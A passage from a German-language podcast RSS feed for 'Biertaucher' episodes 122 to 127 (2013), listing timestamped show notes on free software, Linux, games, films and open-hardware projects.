+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher127.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:127&amp;title=Biertaucher%20Folge%20127&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN, Horst JENS, Harald PICHLER und Florian SCHWEIKERT plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/D7dSZ6 oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/D7dSZ6">hier klicken um die Shownotes zur Folge 127</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B>, <b>Horst JENS</B>, <b>Harald PICHLER</B> und <b>Florian SCHWEIKERT</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 00:01:42 Horst redet über die Spiele <a href="http://www.desura.com/games/dominions-4-thrones-of-ascensions">Dominion 4</a> und <a href="http://crawl.chaosforge.org/0.14">Crawl 0.14</a>
+</li><li> 00:08:00 <a href="http://derstandard.at/1381368878044/Oracle-warnt-vor-Open-Source">Oracle warnt vor Open-Source</a>
+</li><li> 00:10:28 <a href="http://derstandard.at/permanent/1381368781664/Ubuntu-1310-veroeffentlicht---und-gleich-im-Test">Ubuntus neuer Release 13.10 Saucy Salamander</a>
+</li><li> 00:17:00 Österreichischer Videospiel-Verlag (console.at, gamers.at) <a href="http://derstandard.at/1381368962970/ConsolMedia-Oesterreichs-groesster-Verlag-fuer-Videospielmagazine-wird-versteigert">wird versteigert</a>
+</li><li> 00:18:00 Die neue Online-Lern-Plattform <a href="http://www.heise.de/open/meldung/Online-Lernplattform-iversity-startet-mit-ueber-115-000-Wissbegierigen-1979624.html">Iversity</a>
+</li><li> 00:26:00 Buchbesprechung: <a href="http://de.wikipedia.org/wiki/Die_Wahrheit_%C3%BCber_den_Fall_Harry_Quebert">Die Wahrheit über den Fall Harry Quebert</a>
+</li><li> 00:30:00 Florian über <a href="http://ubuntugnome.org/">Ubuntu Gnome</a> <a href="https://www.archlinux.de/">Archlinux</a>
+</li><li> 00:34:00 Kinofilm: Horst erzählt über die Dokumentation/Reportage <a href="http://www.populationboom.at">Population Boom</a>
+</li><li> 00:42:00 Neues von <a href="http://www.osdomotics.com">Osdomotics</a>: Harald redet über seine neusten open hardware Projekte: Ledketten und ein Licht mit Bewegungsmelder
+</li><li> 00:53:00 Florian erzählt über die <a href="http://synergy-foss.org/?hl=de">Computersteurungssoftware Synergy</a> und seine Fortschritte im Spiel <a href="https://de.wikipedia.org/wiki/L.A._Noire">L.A. Noir</a>
+</li><li> 01:04:00 Samba 4.1 <a href="http://www.heise.de/open/meldung/Samba-4-1-verschluesselt-Datenuebertragung-mit-SMB3-1977758.html">mit Verschlüsselter Übertragung</a> und "Server-Side Copy Support"
+</li><li> 01:09:00 Florain erzählt über seine Erfahrungen mit der Software <a href="https://de.wikipedia.org/wiki/RetroShare">Retroshare</a>
+</li><li> 01:11:00 Gregor und Florian unterhalten sich über <a href="https://de.wikipedia.org/wiki/Off-the-Record_Messaging">Off-the-Record Messaging</a>
+</li><li> 01:13:00 Harald spricht über Verschlüsselung mittels <a href="https://de.wikipedia.org/wiki/Datagram_Transport_Layer_Security">DTLS</a> und die Bibliothek <a href="http://tinydtls.sourceforge.net/">tinydtls</a>
+</li><li> 01:15:00 Das letzte Humble Bundle und das dazugehörige Spiel <a href="https://en.wikipedia.org/wiki/Star_Command_(2013_video_game)">Star Command</a>
+</li><li> 01:16:00 Inhaltsverzeichnis vom <a href="http://bitcoinupdate.com/index.php?id=39">Bitcon-update Folge 48</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher127.mp3" length="55882568" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst schaut Population Boom im Kino, Gregor rezensiert Bücher und freut sich über Ubuntu Gnome, Harald hat LED-Lichterketten und eine Lampe mit Bewegungssensor mitgebracht, Florian spricht über Arch-Linux und Verschlüsselung</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/D7dSZ6 http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:17:33</itunes:duration>
+<itunes:keywords>Biertaucher Podcast 127 Games Dominions4 Crawl Oracle Ubuntu Arch Linux gamers iversity Harry_Quebert Gnome Population_Boom Osdomotics LED Synergy Server_side_copy_suppport Retroshare Of_the_record_messaging DTLS tinydtls Star_Command
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 126</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:126</link>
+ <pubDate>Thu, 17 Oct 2013 22:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher126.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:126&amp;title=Biertaucher%20Folge%20126&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN, Horst JENS, Harald PICHLER, Johnny ZWENG und Christoph SCHINDLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/DQV8Mx oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/DQV8Mx">hier klicken um die Shownotes zur Folge 126</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B>, <b>Horst JENS</B>, <b>Harald PICHLER</B>, <b>Johnny ZWENG</B> und <b>Christoph SCHINDLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:17 Begrüßung, worüber wir reden werden
+</li><li> 0:01:18 Kickstarter Projekt <a href="http://www.kickstarter.com/projects/2084212109/gameduino-2-this-time-its-personal">Gameduino2</a> - Aufsatz für Arduino
+</li><li> 0:02:07 Hop arbeitet an einer Iphone App, 64-bit Versionen
+</li><li> 0:11:34 Horst liest <a href="http://www.martinballuch.com/">Balluch Blog</a> über freigelassene Buttersäure-Attentäter, Freiland Fleisch etc.
+</li><li> 0:13:27 Kino: <a href="http://www.amazon.de/gp/product/371100041X/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=371100041X&linkCode=as2&tag=spielendprogr-21">alphabet: Angst oder Liebe</a> (Tipp: <a href="http://www.alphabet-film.com/schulmaterial.html">Schulungsmaterial und Podcast mit Regisseur</a>) über Bildungspolitik, <a href="http://youtu.be/zDZFcDGpL4U">Sir Ken Robinson</a>, Zombies, Kreativität. Theses: Verschulung tötet Kreativität, lernen durch spielen.
+</li><li> 0:18:09 Hop und Gregor über das <a href="http://slashfilmfestival.com/">Slashfilmfest</a>: Wrong Cops, <a href="https://de.wikipedia.org/wiki/Rubber_(Film)">Rubber</a>
+</li><li> 0:19:55 alter Film mit Tom Hanks: <a href="http://de.wikipedia.org/wiki/Meine_teuflischen_Nachbarn">Meine teuflischen Nachbarn (the Burbs)</a>, Filmwarnung: Big Bad Wolfes, Empfehlung: Zombie-Roadmovie mit gutem Soundtrack: <a href="http://www.imdb.com/title/tt2272350/">The Battery</a>, Schlangestehen beim Kartenkauf
+</li><li> 0:29:05 Horst erzählt noch mehr über den Film Alphabet, Pisa-Siegerland China, Maler <a href="http://de.wikipedia.org/wiki/Arno_Stern">Arno Stern's Malwerkstatt</a>, <a href="http://de.wikipedia.org/wiki/Homeschooling">Homeschooling</a>, <a href="http://de.wikipedia.org/wiki/Pablo_Pineda">Pablo Pineda</a> <a href="http://de.wikipedia.org/wiki/Me_too_%E2%80%93_Wer_will_schon_normal_sein%3F">Yo, también</a>
+</li><li> 0:41:28 Gregor hat sich das <a href="https://www.humblebundle.com/">Mobile Humble Bundle2</a> gekauft und spielt am Android-Tablet. Eigene Android-App zum Humble-Bundle Spiele verwalten
+</li><li> 0:47:45 Hop über eine angenehme Überraschung bei <a href="http://www.cdbaby.com/">CD-Baby</a> Online Musik Store
+</li><li> 0:49:45 Osdomotics, Open-Source Haustechnik: Hop will von Harald einen Lichtschalter mit automatischer zeitverzögerter Ausschaltung. Dokumentation von eigenen Projekten.
+</li><li> 1:01:13 Hop verrät seine <a href="http://www.baddaboom.at/">Firmen-URL</a>
+</li><li> 1:02:57 Horst abschließend über Alphabet: Harz4-Jobs, Helfer-Experimet für Kleinkinder
+</li><li> 1:06:23 Gregor hat sich einen Stanislav Lem SF-Film angeschaut: <a href="https://en.wikipedia.org/wiki/The_Congress_(2013_film)">The Congress</a>, Horst und Gregor über <a href="http://www.imdb.com/title/tt2234155/">The Internship</a> Nerd-Verhalten, nervige Werbung mit Verhaltensregeln in Wiener Verkehrsbetrieben
+</li><li> 1:18:55 Google Hangout inkompatibel mit Jabber Accounts, Unterschiede zu Skype, offene Router-Firmware
+</li><li> 1:25:00 neue Episode vom Podcast <a href="http://alternativlos.org/">Alternativlos</a>: Die Tinfoils hatten Recht, IT-Sicherheit, unfreie Hardware in der Raspberry Pi CPU
+</li><li> 1:36:50 Gehackt-Werden Story im Spiegel, Lösung: Linux verwenden
+</li><li> 1:38:25 IT-Sicherheit: Sich schützen gegen eingeschleusten Code
+</li><li> 1:49:55 Harald hat eine Arte-Dokumentation gesehen über Chinas Wirtschaftshilfepolitik in Afrika
+</li><li> 1:56:21 Inhaltsverzeichnis vom <a href="http://bitcoinupdate.com/index.php?id=38Bitcoin-Update 47</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher126.mp3" length="84186033" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Hop und Gregor waren am Slashfilmfest, Horst ist begeistert vom Film Alphabet, Gregor spielt Humble Mobile Bundle2 Spiele, Harald spricht über IT-Sicherheit und chinesische Entwicklungshilfe</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/DQV8Mx http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:56:52</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 126, Iphone, Balluch, Alphabet, Ken Robinson, Slashfilmfest, Rubber, Burbs, Battery, Zombies, Pisa, China, Arno Stern, Pablo Pineda, Humble Bundle, CD_Baby, Music, The Congress, Google Hangout, Alternativlos
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 125</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:125</link>
+ <pubDate>Thu, 10 Oct 2013 22:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher125.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:125&amp;title=Biertaucher%20Folge%20125&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN, Horst JENS, Harald PICHLER, Florian SCHWEIKERT, Johnny ZWENG und Stefan PIETRASZACK plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/OGqS5i oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/OGqS5i">hier klicken um die Shownotes zur Folge 125</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B>, <b>Horst JENS</B>, <b>Harald PICHLER</B>, <b>Florian SCHWEIKERT</B>, <b>Johnny ZWENG</B> und <b>Stefan PIETRASZACK</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ ><li> 0:01:00 worüber wir reden werden
+</li><li> 0:01:12 Meldung: <a href="http://www.heise.de/tp/artikel/40/40018/1.html">Betrug mit Open Access Zeitschriften</a>
+</li><li> 0:03:53 Ankündigung: Stefans Beitrag über Maker Fair Hannover im Sommer
+</li><li> 0:05:04 Florian über <a href="https://de.wikipedia.org/wiki/Jolla">Jolla] und <a href="https://de.wikipedia.org/wiki/Sailfish_OS#Sailfish_OS">Sailfish OS</a> Neuigkeiten (Mego, Maemo): Jolla wird Android-kompatibel
+</li><li> 0:12:21 Gregor war im Kino: <a href="https://en.wikipedia.org/wiki/Gravity_(film)">Gravity</a>
+</li><li> 0:21:18 Podcastempfehlung: <a href="http://www.stayforever.de/">Stay Forever</a> Gunnar Lott und Christian Schmidt (ex Gamestar Redakteure) reden über alte Computerspiele
+</li><li> 0:24:00 Florian kauft sich ein Windows Spiel: L.A. Noir (Detektiv-Spiel mit GTA Engine) mit starker Mimik und Story
+</li><li> 0:27:55 Wallpaper Changer für Ubuntu: <a href="https://apps.ubuntu.com/cat/applications/precise/variety/">Variety</a> (lädt Fotos von Flickr)
+</li><li> 0:31:40 Uhrzeit-abhängige Wallpaper-Helligkeit bei Gnome, diverse Ubuntu Versionen mit Gnome
+</li><li> 0:36:02 Gregor war im Kino: The Internetship (<a href="http://de.wikipedia.org/wiki/Prakti.com">Prakti.com</a>)
+</li><li> 0:42:58 <a href="http://youtu.be/xyL8pETtEy4">IT Crowd Jubiläumsfolge</a> und Rhett and Link: <a href="http://youtu.be/2Tvy_Pbe5NA">Epic Rap Battle Geek vs. Nerd</a>
+</li><li> 0:45:12 Johnny war in Tirol beim <a href="http://de.wikipedia.org/wiki/Almabtrieb">Almabtrieb</a> und hat <a href="https://plus.google.com/100041258817977286971/posts/2gAi1AhCAT4">Fotos gemacht</a>
+</li><li> 0:50:10 Verkehrspolitik
+</li><li> 1:02:04 OSDomotics Neuigkeiten.. Harald hat etwas mitgebracht
+</li><li> 1:22:38 Inhaltsverzeichnis vom <a href="http://bitcoinupdate.com/index.php?id=37">Bitcoin-Update 46</a>
+</li><li> 1:23:29 Stefan erzählt von der <a href="https://plus.google.com/u/0/photos/105047332875655955637/albums/5908157382836224449">Maker Fair Hannover</a> im Sommer 2013
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher125.mp3" length="62131581" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor war im Kino, weil es dort so schön warm ist. Horst wechselt Wallpaper mit Variety, Harald hat Hardware mitgebracht, Florian spielt L.A. Noire, Johnny war in Tirol beim Almabtrieb und Reporter Stefan berichtet über die Maker Fair Hannover.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/OGqS5i http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:26:14</itunes:duration>
+<itunes:keywords>Biertaucher Podcast 125 OpenAccess Supers Jolla Sailfish_OS Android Gravity Stay_Forever Variety Wallpaper prakti.com IT_Crowd Almabtrieb Rhett_and_Link L.A.Noire Maker_Fair_Hannover OSDomotics
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 124</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:124</link>
+ <pubDate>Wed, 02 Oct 2013 09:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher124.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:124&amp;title=Biertaucher%20Folge%20124&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN und Horst JENS und Harald PCHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/zDexuJ oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/zDexuJ">hier klicken um die Shownotes zur Folge 124</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B> und <b>Horst JENSHARALD plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:47 Worüber wir reden werden: Slashfilmfest, <a href="http://spielendprogrammieren.wordpress.com/2013/10/01/gamecity-review/">GameCity</a>, Jörg's Erlebnis, News
+</li><li> 0:02:30 <a href="https://plus.google.com/115278437571900143077/posts/NnmmXz3v3hK">Jörg's Story</a>: Er bekommt Emails von Cert.at wegen Steirischem Herbst Künstler
+</li><li> 0:04:30 <a href="http://store.steampowered.com/livingroom/SteamOS/">Steam OS</a> kommt ! Und bringt (kommerzielle) Spiele auf einer Linux-Box in die Wohnzimmer...
+</li><li> 0:08:00 Humble Bundle Spiele : <a href="http://fezgame.com/">Fez</a>, bekannt aus <a href="http://buy.indiegamethemovie.com/">Indiegame the movie</a> sowie <a href="http://www.ftlgame.com/">FTL (Faster than Light)</a>
+</li><li> 0:13:37 Gregors Slashfilmfest-Report: Vincent Vantali Film: <a href="http://www.imdb.com/title/tt2345567/?ref_=fn_al_tt_1">Haunter</a>
+</li><li> 0:16:38 Technik Meldung: <a href="http://technologyadvice.com/bittorrent-bundles-create-digital-art-stores/#.UkR1nD_CnIV">Bittorrent Fileformat (mit Nag-Screen)</a> für Künstler
+</li><li> 0:20:55 Cyanogenmod-freundliches, fettes Handy (fablet): <a href="http://www.zdnet.de/88170743/oppo-stellt-smartphone-n1-mit-cyanogenmod">oppo n1</a>
+</li><li> 0:25:00 Horst (und Harald) über die Gamecity (siehe auch <a href="http://spielendprogrammieren.wordpress.com/2013/10/01/gamecity-review/">Horst's ausführlichen Blogeintrag</a>)
+</li><li> 0:28:36 Gamecity-Report: netter Platformer <a href="http://scheingame.com/">Schein</a>, PC als Spieleplattform
+</li><li> 0:36:16 Gamecity-Report: Harald hat eine leere Mädchenzone entdeckt, Tanz- und Hüpf- Spiele
+</li><li> 0:40:49 Gamecity-Report: kleiner Messestand besser als großer Messestand (am falschen Ort), Helfer (heiliger) Franz von der Free Software Fondation Europe (<a href="http://de.wikipedia.org/wiki/FSFE">FSFE</a>), Horst's Rekrutierungserfolge
+</li><li> 0:47:20 Slashfilm: Fäkalhorrorkomödie <a href="https://en.wikipedia.org/wiki/Bad_Milo!">Bad Milo</a>, 3D-Film: <a href="https://en.wikipedia.org/wiki/Tormented_(2011_film)">Tormented</a>
+</li><li> 0:52:11 Gamecity-Report: Lehrerinnen-Detektor, <a href="http://www.blender.org/">Blender</a>, <a href="https://metalab.at/wiki/3D-Workshop_2013">Blender-Kurs</a> im <a href="http://metalab.at">Metalab</a>
+</li><li> 0:59:56 Gamecity-Report: Blogger und Youtuber vs. traditionelle Presse
+</li><li> 1:05:48 <a href="https://metalab.at/wiki/SmarthomeStammtisch">Smarthome-Stammtisch</a> am Mittwoch im Metalab, Merkurboard-Videos
+</li><li> 1:08:00 Gamecity-Report: Youtuber, unabhängige Berichterstattung
+</li><li> 1:18:10 Slashfilm: <a href="https://de.wikipedia.org/wiki/The_Hole_(2009)">The Hole</a> von Joe Dante (<a href="https://en.wikipedia.org/wiki/Gremlins">Gremlins</a>, <a href="https://en.wikipedia.org/wiki/Innerspace">Die Reise ins Ich</a>)
+</li><li> 1:23:11 Haralds Hardware News: Programmer, Smarthome-Stammtisch
+</li><li> 1:28:46 (teile vom Podcast wurden versehentlich zerstört)
+</li><li> 1:28:47 Interview mit Mirko, Entwickler vom Adroid-Game <a href="http://www.senoi.net/">Senoi</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher124.mp3" length="91263858" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst und Harald berichten von der GameCity, Gregor war Slashfilme schauen und erzählt Jörg's Story.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/zDexuJ http://biertaucher.at
+</itunes:summary>
+<itunes:duration>2:06:42</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 124, Wukonig, SteamOS, Steambox, Linux, Spiele, Fez, FTL, Gamecity, Mädchenzone, Senoi, Schein, Slashfilmfestival, Haunter, Steirischer Herbst, Bad Milo, Tormented, FSFE, Blender, Metalab, Blogger, Youtuber
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 123</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:123</link>
+ <pubDate>Thu, 26 Sep 2013 14:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher123.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:123&amp;title=Biertaucher%20Folge%20123&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN und Horst JENSHARALD plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/zDexuJ oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/zDexuJ">hier klicken um die Shownotes zur Folge 123</a> zu sehen</i><br></br>
+ Greor PRIDUN und Horst JENS und Harald PCHLER plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:37 Worüber wir reden werden: Gregor war am <a href="http://slashfilmfestival.com/">Slashfilmfest</a> und hat sich Zombiefilme angeschaut, Horst hat die Alphaversion von <a href="http://www.illwinter.com/dom4/">Dominions4</a> gespielt und "<a href="http://www.zerotomaker.com/">Zero to Maker</a>" angelesen.
+</li><li> 0:03:52 Kickstarter-finanziertes Ebook: <a href="http://www.amazon.de/gp/product/1449356435/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=1449356435&linkCode=as2&tag=spielendprogr-21">From Zero To Maker (Amazon Link)</a>
+</li><li> 0:10:00 Gregor hat gelesen: <a href="http://www.amazon.de/gp/product/3442740703/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=3442740703&linkCode=as2&tag=spielendprogr-21">Christoph Schlingensief - SO SCHÖN WIE HIER KANNS IM HIMMEL GAR NICHT SEIN! (Amazon Link)</a>, <a href="http://www.schlingensief.com/projekt.php?id=b001">Schlingensief Buch Projekt Page</a>
+</li><li> 0:12:48 Gregor hat Schmerzen wegen: <a href="http://de.wikipedia.org/wiki/Ajax">Ajax</a>, sich gegenseitig bekämpfenden Plugins, überangepasste <a href="http://wordpress.org/">Wordpress</a> - Updates
+</li><li> 0:18:20 Harald packt sein Sackerl aus: Erdfeuchtigkeits- und Temperatur-Fühler für Blumentöpfe mit Internetanschluss (siehe <a href="http://osdomotics.com">Osdomotics</a>)
+</li><li> 0:26:26 kleine Chips: Spannungswandler-Chips (0.8V bis 0.5V --> 3.3 V) um richtige Meßwerte bei Batterie betriebenen Fühlern zu garantieren
+</li><li> 0:36:39 Kurt Gramlich baut ein Muster-Niedrigenergiehaus mit OsDomotics-Fühlern
+</li><li> 0:38:29 Hausbus-Systeme, Linwebkmx, koab, Haustechnik-Sensoren per Internet abfragbar ("Internet of Things"), <a href="https://metalab.at/wiki/SmarthomeStammtisch">Smarthome-Stammtisch im Metalab</a> am nächtsen Mittwoch
+</li><li> 0:48:00 Bitte besuchen: spielend-programmieren Messestand auf der <a href="http://game-city.at/">Gamecity Wien (Roboter zum selber löten)</a> im Wiener Rathaus, Freitag bis Sonntag
+</li><li> 0:49:00 Gregor über TV-Serien und 5 Filme vom <a href="http://slashfilmfestival.com/">Slashfilmfest</a>:
+</li><li> HK: <a href="http://slashfilmfestival.com/programm-2013/hk-forbidden-super-hero/">Forbidden Super Hero</a>
+</li><li> <a href="http://slashfilmfestival.com/programm-2013/gothic-lolita-battle-bear/">2)Gothic Lolita Battle Bear</a>
+</li><li> <a href="http://slashfilmfestival.com/programm-2013/hellbenders/">Hellbenders</a>
+</li><li> <a href="http://slashfilmfestival.com/programm-2013/willow-creek/">Willow Greek</a>
+</li><li> <a href="http://slashfilmfestival.com/programm-2013/my-amityville-horror/">My Amityville Horror</a>
+</li><li> 1:08:05 Horst spielt die Alphaversion von <a href="http://www.illwinter.com/dom4/">Dominions4</a> ( Fantasy Turn Based Strategy Game), gekauft auf Desura, Vorgänger Dominions3 erst jetzt auf Steam (Steam Greenlight)
+</li><li> 1:17:25 Ankündigung: In Burgendland ensteht ein Bio-Hacking-Space
+</li><li> 1:18:55 Inhaltverzeichnis vom <a href="http://bitcoinupdate.com/index.php?id=35">Bitcoin-Update Folge 44</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher123.mp3" length="57444273" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor schaut fünf (!) Zombiefilme am Slashfilmfest, Horst spielt Dominions4, Harald baut Blumentopfsensoren, außerdem zwei Buchbesprechungen</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/zDexuJ http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:19:43</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 123, dominions4, slashfilm, sensoren, haustechnik, Forbidden Super Hero, Gothic Lolita Battle Bear, Hellbenders, Willow Greek, My Amityville Horror, From Zero To Maker, Christoph_Schlingenfiels, , Steam, Desura, Greenlight
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 122</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:122</link>
+ <pubDate>Thu, 19 Sep 2013 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher122.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:122&amp;title=Biertaucher%20Folge%20122&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/JpDxiz oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/JpDxiz">hier klicken um die Shownotes zur Folge 122</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 00:01:22 Android heißt jetzt Kitkat (als aktueller Releasename)
+</li><li> 00:05:50 Features der aktuellen und kommenden Androidversion, Googles Notizapp Keep, eine neue API für Geo-Fencing, Cyanogenmod, App-Rechteverwaltung, NFC
+</li><li> 00:17:40 Gregor hat eine Serie angesehen <a href="https://de.wikipedia.org/wiki/Real_Humans_%E2%80%93_Echte_Menschen">Äkta människor - Real Humans</a>
+</li><li> 00:25:30 : Größter <a href="http://futurezone.at/digital-life/groesster-gehender-roboter-der-welt-ist-ein-drache/26.958.263">gehender Roboter</a> der Welt ist ein Drache!! :-)
+</li><li> 00:27:00 Das SMS-Protokoll und Android
+</li><li> 00:44:15 Jolla <a href="http://derstandard.at/1379290977518/Jolla-Sailfish-OS-unterstuetzt-jetzt-Android">Sailfish-OS unterstützt jetzt Android-App</a>
+</li><li> 00:51:30 Gregor hat sich zwei Filme angeschaut "<a href="https://en.wikipedia.org/wiki/4:44_Last_Day_on_Earth">4:44 Last Day On Earth</a>" und "<a href="https://de.wikipedia.org/wiki/City_of_Ember_%E2%80%93_Flucht_aus_der_Dunkelheit">City Of Ember</a>"
+</li><li> 00:55:00 Meldung vom Mai 2011: "USA will <a href="http://www.golem.de/1105/83871.html">Cyberangriffe zum Kriegsgrund</a> machen" Jetzt umso interessanter in Angesicht des NSA-Skandals. Und kurz besprochen: NSA Chef Alexander Keith spielt gerne Star Trek und hat sich tatsächlich einen <a href="http://www.dailymail.co.uk/news/article-2421112/NSA-director-Keith-Alexander-modeled-secret-war-room-Star-Treks-Enterprise.html ">War Room im Design der Enterprise-Brücke</a> bauen lassen
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher122.mp3" length="46415479" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Robodrachen, Filme, Cyanogenmods u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/JpDxiz http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:04:24</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 122, Android, Kitkat, Cynogenmod, Real Humans, Roboter, Sailfish, Last Day on Earth, City Of Ember, Cyberangriffe, NSA
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 121</title>
